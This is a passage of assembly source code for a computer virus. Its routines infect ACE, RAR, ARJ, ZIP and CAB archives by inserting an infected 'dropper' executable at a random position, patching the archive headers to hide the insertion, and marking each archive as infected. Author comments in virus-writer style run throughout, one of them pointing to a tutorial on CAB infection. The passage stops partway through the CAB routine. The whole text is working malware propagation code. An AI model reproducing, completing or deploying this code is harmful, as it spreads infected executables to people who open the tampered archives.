|
|||
|
;shock for me. But if archive isn't solid all will be okay
|
|||
|
;althrough this method is not support here. So, my dropper
|
|||
|
;is compressed but in the end of file.
|
|||
|
;
|
|||
|
; input: filename_ptr ... pointer to an ARJ's filename
|
|||
|
; NewARJ struc ... has been filled? I dont know!
|
|||
|
;
|
|||
|
; output: nothing
|
|||
|
;
|
|||
|
__iACR_fHandle dd 00000000h ;archive's handle
|
|||
|
__iACR_dHandle dd 00000000h ;dropper's handle
|
|||
|
__iACR_dMemory dd 00000000h ;dropper's body
|
|||
|
;
|
|||
|
__iACR_Type dd 00000000h ;ACE or RAR ?
|
|||
|
__iACR_tACE equ 00h ;ACE signature
|
|||
|
__iACR_tRAR equ 01h ;RAR signature
|
|||
|
;
|
|||
|
infect_ACE: mov [ebp+__iACR_Type],__iACR_tACE ;yeah, ACE archive
|
|||
|
jmp infect_ACR
|
|||
|
infect_RAR: mov [ebp+__iACR_Type],__iACR_tRAR ;yeah, RAR archive
|
|||
|
|
|||
|
; here, common functions is starting...
|
|||
|
infect_ACR:
|
|||
|
|
|||
|
; check whether dropper exists
|
|||
|
mov eax,[ebp+__iACR_Type] ;get archive type
|
|||
|
imul eax,size AProgram
|
|||
|
cmp [ebp+eax+NewACE.dropper],00000000h
|
|||
|
jz __iACR_finish ;does dropper exists ?
|
|||
|
|
|||
|
; open archive file
|
|||
|
mov edx,[ebp+filename_ptr]
|
|||
|
call __MyOpenFile
|
|||
|
jc __iACR_finish
|
|||
|
mov [ebp+__iACR_fHandle],eax
|
|||
|
|
|||
|
; check whether archive has been infected
|
|||
|
mov ebx,[ebp+__iACR_fHandle]
|
|||
|
call __get_archive_infected
|
|||
|
jc __iACR_fClose
|
|||
|
|
|||
|
; read archive header
|
|||
|
cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE
|
|||
|
jnz __iACR_rar_1
|
|||
|
lea edx,[ebp+ACE_h_struct] ;destination place
|
|||
|
mov ecx,ACENeededBytes
|
|||
|
jmp __iACR_end_1
|
|||
|
__iACR_rar_1:
|
|||
|
lea edx,[ebp+RARSignature] ;destination place
|
|||
|
mov ecx,RARSignature_Length + \
|
|||
|
RARNeededBytes ;number of bytes to read
|
|||
|
|
|||
|
__iACR_end_1:
|
|||
|
xor esi,esi
|
|||
|
mov ebx,[ebp+__iACR_fHandle]
|
|||
|
call __MyReadFile
|
|||
|
jc __iACR_fClose
|
|||
|
|
|||
|
; check archive's header
|
|||
|
cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE
|
|||
|
jnz __iACR_rar_2
|
|||
|
cmp dword ptr [ebp+ACEhSignature],'CA**'
|
|||
|
jnz __iACR_fClose ;the 1st part of sign
|
|||
|
cmp word ptr [ebp+ACEhSignature+00000004h],'*E'
|
|||
|
jnz __iACR_fClose ;the 2nd part
|
|||
|
test word ptr [ebp+ACEhHeadFlags],2048
|
|||
|
jnz __iACR_fClose ;multivolume flag ?
|
|||
|
jmp __iACR_end_2
|
|||
|
__iACR_rar_2:
|
|||
|
cmp dword ptr [ebp+RARSignature],'!raR'
|
|||
|
jnz __iACR_fClose
|
|||
|
cmp word ptr [ebp+RARSignature+00000004h],071Ah
|
|||
|
jnz __iACR_fClose
|
|||
|
test word ptr [ebp+RARFileFlags],0001h
|
|||
|
jnz __iACR_fClose ;multivolume flag ?
|
|||
|
__iACR_end_2:
|
|||
|
|
|||
|
; open dropper file
|
|||
|
__iACR_child_function:
|
|||
|
mov edx,[ebp+__iACR_Type] ;get archive type
|
|||
|
imul edx,size AProgram
|
|||
|
mov edx,[ebp+edx+NewACE.dropper]
|
|||
|
or edx,edx ;once again test:
|
|||
|
jz __iACR_finish ;does dropper exists ?
|
|||
|
call __MyOpenFile
|
|||
|
jc __iACR_fClose
|
|||
|
mov [ebp+__iACR_dHandle],eax
|
|||
|
|
|||
|
; get dropper's file size
|
|||
|
mov ebx,[ebp+__iACR_dHandle]
|
|||
|
call __MyGetFileSize
|
|||
|
mov ecx,eax
|
|||
|
|
|||
|
; allocate memory for dropper's file body
|
|||
|
call malloc
|
|||
|
mov [ebp+__iACR_dMemory],eax
|
|||
|
|
|||
|
; read whole dropper's body
|
|||
|
mov edx,[ebp+__iACR_dMemory];destination buffer
|
|||
|
xor esi,esi ;file position
|
|||
|
mov ebx,[ebp+__iACR_dHandle];dropper's handle
|
|||
|
call __MyReadFile
|
|||
|
jc __iACR_dClose
|
|||
|
|
|||
|
; get archive file size
|
|||
|
mov ebx,[ebp+__iACR_fHandle]
|
|||
|
call __MyGetFileSize
|
|||
|
mov esi,eax
|
|||
|
|
|||
|
; "update" archive file by my dropper
|
|||
|
cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE
|
|||
|
jnz __iACR_rar_3
|
|||
|
movzx eax,word ptr [edx+ACEhHeadSize-ACE_h_struct]
|
|||
|
add eax,00000004h
|
|||
|
jmp __iACR_end_3
|
|||
|
__iACR_rar_3:
|
|||
|
movzx eax,word ptr [edx+RARHeaderSize-RARSignature]
|
|||
|
add eax,RARSignature_Length
|
|||
|
|
|||
|
__iACR_end_3:
|
|||
|
add edx,eax ;header take away
|
|||
|
sub ecx,eax ;without main header, please
|
|||
|
mov ebx,[ebp+__iACR_fHandle]
|
|||
|
call __MyWriteFile ;write my dropper, uaaah :)
|
|||
|
|
|||
|
; archive has been infected
|
|||
|
mov ebx,[ebp+__iACR_fHandle]
|
|||
|
call __set_archive_infected
|
|||
|
|
|||
|
__iACR_dClose:
|
|||
|
mov ebx,[ebp+__iACR_dHandle]
|
|||
|
call __MyCloseFile
|
|||
|
__iACR_dealloc:
|
|||
|
mov eax,[ebp+__iACR_dMemory]
|
|||
|
call mdealloc
|
|||
|
__iACR_fClose:
|
|||
|
mov ebx,[ebp+__iACR_fHandle]
|
|||
|
call __MyCloseFile
|
|||
|
|
|||
|
__iACR_finish:
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ infection in ARJ archivez <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function infect ARJ archivez by my prepared dropper.
|
|||
|
;Dropper is compressed by ARJ (four method without store).
|
|||
|
;
|
|||
|
; input: filename_ptr ... pointer to an ARJ's filename
|
|||
|
; NewARJ struc ... 's been filled? I dont know!
|
|||
|
;
|
|||
|
; output: nothing
|
|||
|
;
|
|||
|
__iARJ_fHandle dd 00000000h ;archive's handle
|
|||
|
__iARJ_fFiles dd 00000000h ;number of files
|
|||
|
__iARJ_dHandle dd 00000000h ;dropper's handle
|
|||
|
__iARJ_dMemory dd 00000000h ;dropper's file body
|
|||
|
;
|
|||
|
infect_ARJ:
|
|||
|
|
|||
|
xor eax,eax
|
|||
|
mov [ebp+__iARJ_fFiles],eax
|
|||
|
|
|||
|
; check whether dropper exists
|
|||
|
cmp [ebp+NewARJ.dropper],00000000h
|
|||
|
jz __iARJ_finish
|
|||
|
|
|||
|
; open archive
|
|||
|
mov edx,[ebp+filename_ptr]
|
|||
|
call __MyOpenFile
|
|||
|
jc __iARJ_finish
|
|||
|
mov [ebp+__iARJ_fHandle],eax
|
|||
|
|
|||
|
; check whether archive has been infected
|
|||
|
mov ebx,[ebp+__iARJ_fHandle]
|
|||
|
call __get_archive_infected
|
|||
|
jc __iARJ_fClose
|
|||
|
|
|||
|
; read archive header
|
|||
|
lea edx,[ebp+ARJ_struct] ;destination place
|
|||
|
mov ecx,ARJNeededBytes ;needed bytes to read
|
|||
|
xor esi,esi ;file position
|
|||
|
mov ebx,[ebp+__iARJ_fHandle];file handle
|
|||
|
call __MyReadFile
|
|||
|
jc __iARJ_fClose
|
|||
|
|
|||
|
; check archive's signatures
|
|||
|
cmp word ptr [ebp+ARJHeaderId],0EA60h
|
|||
|
jnz __iARJ_fClose
|
|||
|
test byte ptr [ebp+ARJFlags],04h
|
|||
|
jnz __iARJ_fClose ;multivolume flags, I guess
|
|||
|
|
|||
|
; get number of files
|
|||
|
lea edx,[ebp+ARJ_struct] ;destination place
|
|||
|
movzx esi,word ptr [ebp+ARJHeaderSize] ;file position
|
|||
|
add esi,0000000Ah ;add up file-off
|
|||
|
mov ecx,ARJNeededBytes ;needed bytes to read
|
|||
|
mov ebx,[ebp+__iARJ_fHandle];file handle
|
|||
|
push esi ;first entry
|
|||
|
__iARJ_search_1:
|
|||
|
call __iARJ_next_file
|
|||
|
jc __iARJ_sEnd_1 ;it isn't 100% error !
|
|||
|
|
|||
|
; next file has been found
|
|||
|
inc [ebp+__iARJ_fFiles] ;increase files counter :)
|
|||
|
jmp __iARJ_search_1
|
|||
|
|
|||
|
__iARJ_sEnd_1:
|
|||
|
pop esi ;first entry
|
|||
|
cmp ecx,00000004h ;end of file ?
|
|||
|
jnz __iARJ_fClose
|
|||
|
cmp word ptr [ebp+ARJHeaderSize],0000h
|
|||
|
jnz __iARJ_fClose ;double security :)
|
|||
|
|
|||
|
; generate my new archive file position
|
|||
|
mov eax,[ebp+__iARJ_fFiles] ;number of files
|
|||
|
inc eax
|
|||
|
call ppe_get_rnd_range
|
|||
|
xchg eax,ecx ;new ECX: disable files
|
|||
|
|
|||
|
; read file headers which aren't neccessary for me
|
|||
|
jecxz __iARJ_sEnd_2
|
|||
|
__iARJ_search_2:
|
|||
|
push ecx
|
|||
|
call __iARJ_next_file ;disable folders
|
|||
|
pop ecx
|
|||
|
loop __iARJ_search_2
|
|||
|
__iARJ_sEnd_2:
|
|||
|
|
|||
|
; note: ESI = my new place :)
|
|||
|
mov edi,esi
|
|||
|
|
|||
|
; open dropper file
|
|||
|
mov edx,[ebp+NewARJ.dropper]
|
|||
|
call __MyOpenFile
|
|||
|
jc __iARJ_fClose
|
|||
|
mov [ebp+__iARJ_dHandle],eax
|
|||
|
|
|||
|
; get dropper's file size
|
|||
|
mov ebx,[ebp+__iARJ_dHandle]
|
|||
|
call __MyGetFileSize
|
|||
|
mov edx,eax
|
|||
|
|
|||
|
; get archive's file size and subtract my new place
|
|||
|
mov ebx,[ebp+__iARJ_fHandle]
|
|||
|
call __MyGetFileSize
|
|||
|
sub eax,esi ;esi = my new place
|
|||
|
push eax ;archive's needed size
|
|||
|
add eax,edx
|
|||
|
push edx ;dropper's file size
|
|||
|
|
|||
|
; allocate memory for dropper's file body
|
|||
|
call malloc
|
|||
|
mov [ebp+__iARJ_dMemory],eax
|
|||
|
|
|||
|
; read whole dropper's file body
|
|||
|
mov edx,[ebp+__iARJ_dMemory];destination place
|
|||
|
pop ecx ;number of bytes to read
|
|||
|
xor esi,esi ;file position
|
|||
|
mov ebx,[ebp+__iARJ_dHandle];file handle
|
|||
|
call __MyReadFile
|
|||
|
pop ebx ;archive's needed file size
|
|||
|
jc __iARJ_dClose
|
|||
|
|
|||
|
; read "almost" whole archive file behind my dropper
|
|||
|
add edx,ecx ;new destination place
|
|||
|
sub edx,00000004h ;delete ending two flags
|
|||
|
mov esi,edi ;edi = my new place
|
|||
|
mov ecx,ebx ;number of bytes to read
|
|||
|
mov ebx,[ebp+__iARJ_fHandle]
|
|||
|
call __MyReadFile
|
|||
|
jc __iARJ_dClose
|
|||
|
|
|||
|
; "update" archive file :)
|
|||
|
add ecx,edx ;end of readed datas
|
|||
|
sub ecx,[ebp+__iARJ_dMemory]
|
|||
|
mov edx,[ebp+__iARJ_dMemory]
|
|||
|
movzx eax,word ptr [edx+00000002h]
|
|||
|
add eax,0000000Ah
|
|||
|
add edx,eax
|
|||
|
sub ecx,eax
|
|||
|
mov ebx,[ebp+__iARJ_fHandle]
|
|||
|
call __MyWriteFile
|
|||
|
|
|||
|
; archive has been infected
|
|||
|
mov ebx,[ebp+__iARJ_fHandle]
|
|||
|
call __set_archive_infected
|
|||
|
|
|||
|
__iARJ_dClose:
|
|||
|
mov ebx,[ebp+__iARJ_dHandle]
|
|||
|
call __MyCloseFile
|
|||
|
__iARJ_dealloc:
|
|||
|
mov eax,[ebp+__iARJ_dMemory]
|
|||
|
call mdealloc
|
|||
|
__iARJ_fClose:
|
|||
|
mov ebx,[ebp+__iARJ_fHandle]
|
|||
|
call __MyCloseFile
|
|||
|
|
|||
|
__iARJ_finish:
|
|||
|
ret
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;Set file position on the next entry
|
|||
|
;
|
|||
|
; input: EDX ... destination buffer
|
|||
|
; EBX ... file handle
|
|||
|
; ESI ... some header's place (file position)
|
|||
|
;
|
|||
|
; output: ESI ... next header position (if exists :)
|
|||
|
; Cflags
|
|||
|
;
|
|||
|
__iARJ_next_file:
|
|||
|
mov ecx,ARJNeededBytes ;number of bytes to read
|
|||
|
call __MyReadFile
|
|||
|
jc __iARJ_nf_check ;it isn't 100% error !
|
|||
|
|
|||
|
; set file position on the next file
|
|||
|
movzx eax,word ptr [ebp+ARJHeaderSize]
|
|||
|
add eax,[ebp+ARJCompressedSize]
|
|||
|
add eax,0000000Ah ;add up file-off
|
|||
|
add esi,eax
|
|||
|
__iARJ_nf_check:
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ infection in ZIP archivez <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function adds to ZIP archive certain EXE file which
|
|||
|
;has been infected and compressed by PKZIP achiver program
|
|||
|
;Compressing method has been selected randomly from four
|
|||
|
;possibilities (without "store" method, of course).
|
|||
|
;
|
|||
|
; input: filename_ptr ... pointer to a ZIP's filename
|
|||
|
; NewZIP struc ... has been filled? I dont know!
|
|||
|
;
|
|||
|
; output: nothing
|
|||
|
;
|
|||
|
__iZIP_fHandle dd 00000000h ;archive's file handle
|
|||
|
__iZIP_fHeaders dd 00000000h ;archive's headers
|
|||
|
__iZIP_fNewDPos dd 00000000h ;a. pos for d. body
|
|||
|
__iZIP_fMemory dd 00000000h ;archive's file body
|
|||
|
|
|||
|
__iZIP_dHandle dd 00000000h ;dropper's file handle
|
|||
|
__iZIP_dFSize dd 00000000h ;dropper's file size
|
|||
|
__iZIP_dMemory dd 00000000h ;dropper's file body
|
|||
|
__iZIP_dHSize dd 00000000h ;dropper's header s.
|
|||
|
;
|
|||
|
infect_ZIP:
|
|||
|
|
|||
|
; check whether "NewZIP" struc has been filled
|
|||
|
cmp [ebp+NewZIP.dropper],00000000h
|
|||
|
jz __iZIP_finish
|
|||
|
|
|||
|
; open archive file
|
|||
|
mov edx,[ebp+filename_ptr]
|
|||
|
call __MyOpenFile
|
|||
|
jc __iZIP_finish
|
|||
|
mov [ebp+__iZIP_fHandle],eax
|
|||
|
|
|||
|
; check whether archive has been infected
|
|||
|
mov ebx,[ebp+__iZIP_fHandle]
|
|||
|
call __get_archive_infected
|
|||
|
jc __iZIP_fClose
|
|||
|
|
|||
|
; get archive file size
|
|||
|
mov ebx,[ebp+__iZIP_fHandle]
|
|||
|
call __MyGetFileSize
|
|||
|
mov esi,eax
|
|||
|
|
|||
|
; read its 3rd table
|
|||
|
mov ecx,ZIPEHeaderSize ;number of bytes to read
|
|||
|
lea edx,[ebp+ZIPReadBuffer] ;destination buffer
|
|||
|
sub esi,ZIPEHeaderSize ;file pos
|
|||
|
mov ebx,[ebp+__iZIP_fHandle];file handle
|
|||
|
call __MyReadFile
|
|||
|
jc __iZIP_fClose
|
|||
|
|
|||
|
; check that table
|
|||
|
cmp word ptr [ebp+ZIPEHeaderId],'KP'
|
|||
|
jnz __iZIP_fClose
|
|||
|
cmp word ptr [ebp+ZIPSignature],0605h
|
|||
|
jnz __iZIP_fClose
|
|||
|
cmp dword ptr [ebp+ZIPNoDisk],00000000h
|
|||
|
jnz __iZIP_fClose
|
|||
|
|
|||
|
; open dropper file
|
|||
|
mov edx,[ebp+NewZIP.dropper]
|
|||
|
call __MyOpenFile
|
|||
|
jc __iZIP_fClose
|
|||
|
mov [ebp+__iZIP_dHandle],eax
|
|||
|
|
|||
|
; get its file size
|
|||
|
mov ebx,[ebp+__iZIP_dHandle]
|
|||
|
call __MyGetFileSize
|
|||
|
mov [ebp+__iZIP_dFSize],eax
|
|||
|
|
|||
|
; allocate memory
|
|||
|
call malloc
|
|||
|
mov [ebp+__iZIP_dMemory],eax
|
|||
|
|
|||
|
; read its file body
|
|||
|
mov ecx,[ebp+__iZIP_dFSize] ;number of bytes to read
|
|||
|
mov edx,[ebp+__iZIP_dMemory];destination buffer
|
|||
|
xor esi,esi ;file pos
|
|||
|
mov ebx,[ebp+__iZIP_dHandle]
|
|||
|
call __MyReadFile
|
|||
|
|
|||
|
; get dropper's start of header and its length
|
|||
|
mov esi,[ebp+__iZIP_dMemory]
|
|||
|
add esi,[ebp+__iZIP_dFSize]
|
|||
|
mov ecx,[esi-0000000Ah] ;length of 2nd header
|
|||
|
sub esi,ZIPEHeaderSize ;esi = header
|
|||
|
sub esi,ecx
|
|||
|
mov [ebp+__iZIP_dHSize],ecx
|
|||
|
push esi
|
|||
|
|
|||
|
; allocate memory for archive header + new header
|
|||
|
mov eax,[ebp+ZIPSizeDir]
|
|||
|
add eax,ecx
|
|||
|
call malloc
|
|||
|
mov [ebp+__iZIP_fHeaders],eax
|
|||
|
|
|||
|
; read them to the buffer
|
|||
|
mov ecx,[ebp+ZIPSizeDir] ;number of bytes to read
|
|||
|
add ecx,ZIPEHeaderSize ;include 3rd table as well
|
|||
|
mov edx,eax ;destination place
|
|||
|
mov esi,[ebp+ZIPOffsetDir] ;file pos
|
|||
|
mov ebx,[ebp+__iZIP_fHandle]
|
|||
|
call __MyReadFile
|
|||
|
jc __iZIP_dealloc
|
|||
|
|
|||
|
; get actual files in archive
|
|||
|
movzx ecx,word ptr [ebp+ZIPEntrysDir]
|
|||
|
|
|||
|
; and select my new position :)
|
|||
|
lea eax,[ecx+00000001h]
|
|||
|
call ppe_get_rnd_range
|
|||
|
sub ecx,eax
|
|||
|
push ecx
|
|||
|
xchg eax,ecx
|
|||
|
|
|||
|
; get my future offset if I'll be in the end
|
|||
|
mov eax,[ebp+ZIPOffsetDir]
|
|||
|
not eax
|
|||
|
mov [ebp+__iZIP_fNewDPos],eax
|
|||
|
|
|||
|
; seek on my new position in the headers
|
|||
|
mov esi,[ebp+__iZIP_fHeaders]
|
|||
|
__iZIP_search_1:
|
|||
|
jecxz __iZIP_sEnd_1
|
|||
|
add esi,ZIPRScanSize1 ;seek on FileNameSize
|
|||
|
movzx eax,word ptr [esi] ; + filename length
|
|||
|
add ax,word ptr [esi+2] ; + extra field
|
|||
|
add esi,eax
|
|||
|
add esi,ZIPRScanSize2 ;seek on text file folder
|
|||
|
loop __iZIP_search_1
|
|||
|
__iZIP_sEnd_1:
|
|||
|
|
|||
|
pop ecx ;how many folders change ?
|
|||
|
push esi ;my new place for header
|
|||
|
__iZIP_search_2:
|
|||
|
jecxz __iZIP_sEnd_2
|
|||
|
add esi,ZIPRScanSize1 + \
|
|||
|
ZIPRScanSize3
|
|||
|
test dword ptr [ebp+__iZIP_fNewDPos],0F0000000h
|
|||
|
jz __iZIP_search_2_next
|
|||
|
mov eax,[esi]
|
|||
|
mov [ebp+__iZIP_fNewDPos],eax
|
|||
|
__iZIP_search_2_next:
|
|||
|
mov eax,[ebp+__iZIP_dFSize] ;== fbody+2nd+3rd table
|
|||
|
sub eax,ZIPEHeaderSize ;== - 3rd table
|
|||
|
sub eax,[ebp+__iZIP_dHSize] ;== - dropper's header size
|
|||
|
add [esi],eax
|
|||
|
add esi,[esi-ZIPRScanSize3] ;add FileNameSize
|
|||
|
add esi,00000004h
|
|||
|
loop __iZIP_search_2
|
|||
|
__iZIP_sEnd_2:
|
|||
|
|
|||
|
; get number of bytes to move
|
|||
|
mov ecx,esi
|
|||
|
pop esi ;my new place
|
|||
|
sub ecx,esi ;number of bytes to move
|
|||
|
add ecx,ZIPEHeaderSize ;include last table as well
|
|||
|
mov edi,esi ;"almost" destination
|
|||
|
add edi,[ebp+__iZIP_dHSize] ;dropper's header length
|
|||
|
push esi
|
|||
|
call __movsd_back
|
|||
|
pop edi
|
|||
|
|
|||
|
; copy my new table, it means: "update header", please :)
|
|||
|
mov ecx,[ebp+__iZIP_dHSize]
|
|||
|
pop esi ;start of dropper's header
|
|||
|
push edi
|
|||
|
rep movsb
|
|||
|
pop edi
|
|||
|
|
|||
|
; change this copied header
|
|||
|
add edi,ZIPRScanSize1 + ZIPRScanSize3
|
|||
|
mov eax,[ebp+__iZIP_fNewDPos]
|
|||
|
test eax,0F0000000h ;only if it is last "section"
|
|||
|
jz $+4
|
|||
|
not eax
|
|||
|
mov [ebp+__iZIP_fNewDPos],eax
|
|||
|
mov [edi],eax ;start of data
|
|||
|
mov ecx,eax
|
|||
|
|
|||
|
; allocate memory for archive body
|
|||
|
mov ebx,[ebp+__iZIP_fHandle]
|
|||
|
call __MyGetFileSize
|
|||
|
sub eax,ecx ;sub start of data
|
|||
|
mov edx,eax
|
|||
|
add eax,[ebp+__iZIP_dFSize]
|
|||
|
sub eax,[ebp+__iZIP_dHSize] ;dropper's header length
|
|||
|
sub eax,ZIPEHeaderSize ;3rd tablee
|
|||
|
call malloc
|
|||
|
mov [ebp+__iZIP_fMemory],eax
|
|||
|
|
|||
|
; read part of archive file to the memory
|
|||
|
mov esi,ecx ;file position
|
|||
|
mov ecx,edx ;number of bytes to read
|
|||
|
mov edx,[ebp+__iZIP_dHSize] ;dropper's header length
|
|||
|
neg edx ;this was fucking bug !
|
|||
|
add edx,[ebp+__iZIP_dFSize]
|
|||
|
sub edx,ZIPEHeaderSize ;i don't want 3rd table
|
|||
|
mov edi,edx ;dropper's compressed body
|
|||
|
add edx,[ebp+__iZIP_fMemory];destination place
|
|||
|
mov ebx,[ebp+__iZIP_fHandle]
|
|||
|
call __MyReadFile
|
|||
|
jc __iZIP_dealloc
|
|||
|
|
|||
|
; copy my compressed dropper before reader data
|
|||
|
mov edx,ecx
|
|||
|
mov ecx,edi ;dropper's compressed body s.
|
|||
|
mov ebx,ecx
|
|||
|
mov esi,[ebp+__iZIP_dMemory]
|
|||
|
mov edi,[ebp+__iZIP_fMemory]
|
|||
|
rep movsb ;"update" archive :)
|
|||
|
|
|||
|
; copy my changed headers behind compressed datas
|
|||
|
add edi,edx ;in the end of file
|
|||
|
sub edi,[edi-0000000Ah] ;length of the 2nd table
|
|||
|
sub edi,ZIPEHeaderSize ; - 3rd table
|
|||
|
mov esi,[ebp+__iZIP_fHeaders]
|
|||
|
__iZIP_replace:
|
|||
|
cmp [esi],06054B50h ;'PK',05,06 ? Last table ?
|
|||
|
jz __iZIP_replace_finish
|
|||
|
lodsb
|
|||
|
stosb
|
|||
|
jmp __iZIP_replace
|
|||
|
__iZIP_replace_finish:
|
|||
|
mov ecx,ZIPEHeaderSize ;copy last table
|
|||
|
rep movsb
|
|||
|
|
|||
|
; change last table
|
|||
|
add [edi-00000006h],ebx ;archive size + dropper body
|
|||
|
mov ecx,[ebp+__iZIP_dHSize] ;dropper's header length
|
|||
|
add [edi-0000000Ah],ecx ;change ZIPSizeDir
|
|||
|
inc word ptr [edi-0000000Eh];increase ZIPEntryDisk
|
|||
|
inc word ptr [edi-0000000Ch];increase ZIPEntryDir
|
|||
|
|
|||
|
; "update" archive file body
|
|||
|
mov edx,[ebp+__iZIP_fMemory]
|
|||
|
mov ecx,edi
|
|||
|
sub ecx,edx
|
|||
|
mov esi,[ebp+__iZIP_fNewDPos]
|
|||
|
mov ebx,[ebp+__iZIP_fHandle]
|
|||
|
call __MyWriteFile
|
|||
|
|
|||
|
; archive has been infected
|
|||
|
mov ebx,[ebp+__iZIP_fHandle]
|
|||
|
call __set_archive_infected
|
|||
|
|
|||
|
__iZIP_dealloc:
|
|||
|
mov eax,[ebp+__iZIP_fMemory]
|
|||
|
call mdealloc
|
|||
|
mov eax,[ebp+__iZIP_fHeaders]
|
|||
|
call mdealloc
|
|||
|
mov eax,[ebp+__iZIP_dMemory]
|
|||
|
call mdealloc
|
|||
|
|
|||
|
mov ebx,[ebp+__iZIP_dHandle]
|
|||
|
call __MyCloseFile
|
|||
|
|
|||
|
__iZIP_fClose:
|
|||
|
mov ebx,[ebp+__iZIP_fHandle]
|
|||
|
call __MyCloseFile
|
|||
|
|
|||
|
__iZIP_finish:
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ infection in CAB archivez <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function infects Microsoft CAB archivez. The way of
|
|||
|
;infection is the most difficult of all archivez here.Why?
|
|||
|
;Micro$hit CAB format is too stupid, I cannot compress my
|
|||
|
;dropper because I don't know any DLL which support this.
|
|||
|
;Although Windows has some Extrac32 and so on. If you want
|
|||
|
;to know more about CAB infection, download my tutorial on
|
|||
|
;web: http://prizzy.cjb.net (download section, of course).
|
|||
|
;
|
|||
|
; input: filename_ptr ... pointer to a CAB's file
|
|||
|
; NewCAB.dropper . name of EXE
|
|||
|
;
|
|||
|
__iCAB_fHandle dd 00000000h ;archive's handle
|
|||
|
__iCAB_fFSize dd 00000000h ;archive's file size
|
|||
|
__iCAB_fMemory dd 00000000h ;archive's body+hdrs
|
|||
|
|
|||
|
__iCAB_dHandle dd 00000000h ;dropper's handle
|
|||
|
__iCAB_dFSize dd 00000000h ;dropper's file size
|
|||
|
|
|||
|
__iCAB_nChars dd 00000000h ;chars of new name
|
|||
|
__iCAB_myFolder dd 00000000h ;my new folder
|
|||
|
;
|
|||
|
infect_CAB:
|
|||
|
|
|||
|
; check whether dropper exists
|
|||
|
cmp [ebp+NewCAB.dropper],00000000h
|
|||
|
jz __iCAB_finish
|
|||
|
|
|||
|
; open archive file
|
|||
|
mov edx,[ebp+filename_ptr]
|
|||
|
call __MyOpenFile
|
|||
|
jc __iCAB_finish
|
|||
|
mov [ebp+__iCAB_fHandle],eax
|
|||
|
|
|||
|
; check whether archive has been infected
|
|||
|
mov ebx,[ebp+__iCAB_fHandle]
|
|||
|
call __get_archive_infected
|
|||
|
jc __iCAB_fClose
|
|||
|
|
|||
|
; get archive file size
|
|||
|
mov ebx,[ebp+__iCAB_fHandle]
|
|||
|
call __MyGetFileSize
|
|||
|
mov [ebp+__iCAB_fFSize],eax
|
|||
|
|
|||
|
; open dropper file
|
|||
|
mov edx,[ebp+NewCAB.dropper]
|
|||
|
call __MyOpenFile
|
|||
|
jc __iCAB_fClose
|
|||
|
mov [ebp+__iCAB_dHandle],eax
|
|||
|
|
|||
|
; get dropper's file size
|
|||
|
mov ebx,[ebp+__iCAB_dHandle]
|
|||
|
call __MyGetFileSize
|
|||
|
mov [ebp+__iCAB_dFSize],eax
|
|||
|
|
|||
|
; generate dropper's name
|
|||
|
lea edi,[ebp+CABf_FileName]
|
|||
|
call generate_name
|
|||
|
mov [ebp+__iCAB_nChars],eax
|
|||
|
|
|||
|
; allocate memory for whole file
|
|||
|
mov eax,[ebp+__iCAB_fFSize]
|
|||
|
add eax,[ebp+__iCAB_dFSize]
|
|||
|
add eax,(CABe_Compr_data - CAB_directory_start) - (8+1+3)
|
|||
|
add eax,[ebp+__iCAB_nChars]
|
|||
|
call malloc
|
|||
|
mov [ebp+__iCAB_fMemory],eax
|
|||
|
|
|||
|
; read archive's headers to buffer
|
|||
|
mov edx,[ebp+__iCAB_fMemory]
|
|||
|
mov ecx,[ebp+__iCAB_fFSize] ;number of bytes to read
|
|||
|
xor esi,esi ;file position
|
|||
|
mov ebx,[ebp+__iCAB_fHandle];file handle
|
|||
|
call __MyReadFile
|
|||
|
jc __iCAB_dClose
|
|||
|
|
|||
|
; check archive's header
|
|||
|
mov edi,[ebp+__iCAB_fMemory]
|
|||
|
cmp [edi],'FCSM' ;"MSCF" signature ?
|
|||
|
jnz __iCAB_dClose
|
|||
|
cmp word ptr [edi]. \
|
|||
|
(CABh_VersionMin - CAB_h_struct),0103h
|
|||
|
jnz __iCAB_dClose
|
|||
|
|
|||
|
; get volume number - I want only 1st volume
|
|||
|
cmp word ptr [edi]. \
|
|||
|
(CABh_Number - CAB_h_struct),0000h
|
|||
|
jnz __iCAB_dClose
|
|||
|
|
|||
|
; set ESI on the first entry
|
|||
|
movzx esi,word ptr [edi]. (CABh_FirstRec - CAB_h_struct)
|
|||
|
add esi,[ebp+__iCAB_fMemory]
|
|||
|
|
|||
